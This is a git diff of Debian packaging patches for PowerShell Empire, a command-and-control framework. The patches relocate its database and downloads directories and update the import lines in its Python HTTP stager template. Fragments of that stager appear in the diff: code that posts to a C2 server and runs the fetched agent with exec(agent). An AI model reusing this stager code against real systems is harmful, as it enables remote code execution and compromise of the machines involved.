diff --git a/debian/patches/change-database-location.patch b/debian/patches/change-database-location.patch index c5c39f8..bcade37 100644 --- a/debian/patches/change-database-location.patch +++ b/debian/patches/change-database-location.patch @@ -2,25 +2,28 @@ Date: Fri, 27 Dec 2019 09:25:49 +0100 Subject: change-database-location -Last-Update: 2020-10-19 +Last-Update: 2020-11-30 --- - empire | 18 +++++++++++++++++- + empire | 21 ++++++++++++++++++--- lib/common/__init__.py | 4 +++- lib/common/agents.py | 21 +++++++++++---------- lib/common/empire.py | 9 +++++---- lib/common/helpers.py | 6 +++--- setup/reset.sh | 20 ++++++++++---------- setup/setup_database.py | 2 +- - 7 files changed, 50 insertions(+), 30 deletions(-) + 7 files changed, 51 insertions(+), 32 deletions(-) diff --git a/empire b/empire -index 8178180..1245e29 100755 +index c8cb21e..5eed7db 100755 --- a/empire +++ b/empire -@@ -22,6 +22,22 @@ from time import sleep +@@ -24,8 +24,23 @@ from time import sleep + from flask import Flask, request, jsonify, make_response, abort, url_for, g from flask.json import JSONEncoder - from flask_socketio import SocketIO, emit +-from flask_socketio import SocketIO, emit, join_room, leave_room, \ +- close_room, rooms, disconnect ++from flask_socketio import SocketIO, emit +import shutil + +# database old path @@ -40,7 +43,7 @@ # Empire imports from lib.common import empire, helpers, users -@@ -87,7 +103,7 @@ def database_connect(): +@@ -91,7 +106,7 @@ def database_connect(): sqlite3.register_adapter(datetime, adapt_datetime) sqlite3.register_converter("timestamp", convert_timestamp) # set the database connectiont to autocommit w/ isolation level @@ -72,7 +75,7 @@ conn.isolation_level = None return conn diff --git a/lib/common/agents.py b/lib/common/agents.py -index 829eab8..a57baa0 100644 +index 9dd24c0..7b80c1e 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -89,6 +89,7 @@ class Agents(object): @@ -158,7 +161,7 @@ message = "[!] WARNING: agent {} attempted skywalker exploit!".format(self.sessionID) signal = json.dumps({ diff --git a/lib/common/empire.py b/lib/common/empire.py -index 465519b..fef3bed 100755 +index 2c7cac9..8bcde38 100755 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -191,7 +191,7 @@ class MainMenu(cmd.Cmd): @@ -187,7 +190,7 @@ self.conn.isolation_level = None return self.conn diff --git a/lib/common/helpers.py b/lib/common/helpers.py -index f6bdb21..5d0349e 100644 +index 7b5fd6d..81429ed 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -273,7 +273,7 @@ def strip_powershell_comments(data): @@ -265,7 +268,7 @@ + rm -rf ~/.local/powershell-empire/downloads/ fi diff --git a/setup/setup_database.py b/setup/setup_database.py -index 915abbb..025492f 100755 +index ec88437..cb6151a 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -65,7 +65,7 @@ OBFUSCATE_COMMAND = r'Token\All\1' diff --git a/debian/patches/rename-jinja2-templates.patch b/debian/patches/rename-jinja2-templates.patch index f1f3b5c..e128d7c 100644 --- a/debian/patches/rename-jinja2-templates.patch +++ b/debian/patches/rename-jinja2-templates.patch @@ -305,7 +305,7 @@ -exec(agent) diff --git a/data/agent/stagers/http.jinja2 b/data/agent/stagers/http.jinja2 new file mode 100644 -index 0000000..0a8fe28 +index 0000000..2f836a9 --- /dev/null +++ b/data/agent/stagers/http.jinja2 @@ -0,0 +1,99 @@ @@ -322,7 +322,7 @@ + +import random +import string -+import urllib.request as urllib ++import urllib.request + +{% include 'common/rc4.py' %} +{% include 'common/aes.py' %} @@ -331,7 +331,7 @@ + +def post_message(uri, data): + global headers -+ return (urllib.urlopen(urllib.Request(uri, data, headers))).read() ++ return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() + +# generate a randomized sessionID +sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) @@ -410,7 +410,7 @@ +exec(agent) diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py deleted file mode 100644 -index ea5f797..0000000 +index 02b323e..0000000 --- a/data/agent/stagers/http.py +++ /dev/null @@ -1,101 +0,0 @@ @@ -429,7 +429,7 @@ - -import random -import string --import urllib.request as urllib +-import urllib.request - -{% include 'common/rc4.py' %} -{% include 'common/aes.py' %} @@ -438,7 +438,7 @@ - -def post_message(uri, data): - global headers -- return (urllib.urlopen(urllib.Request(uri, data, headers))).read() +- return (urllib.request.urlopen(urllib.request.Request(uri, data, headers))).read() - -# generate a randomized sessionID -sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) @@ -529,7 +529,7 @@ template_options = { 'staging_folder': stagingFolder, diff --git a/lib/listeners/http.py b/lib/listeners/http.py -index e04791a..2340db0 100755 +index f333889..056b7ab 100755 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -682,8 +682,8 @@ class Listener(object):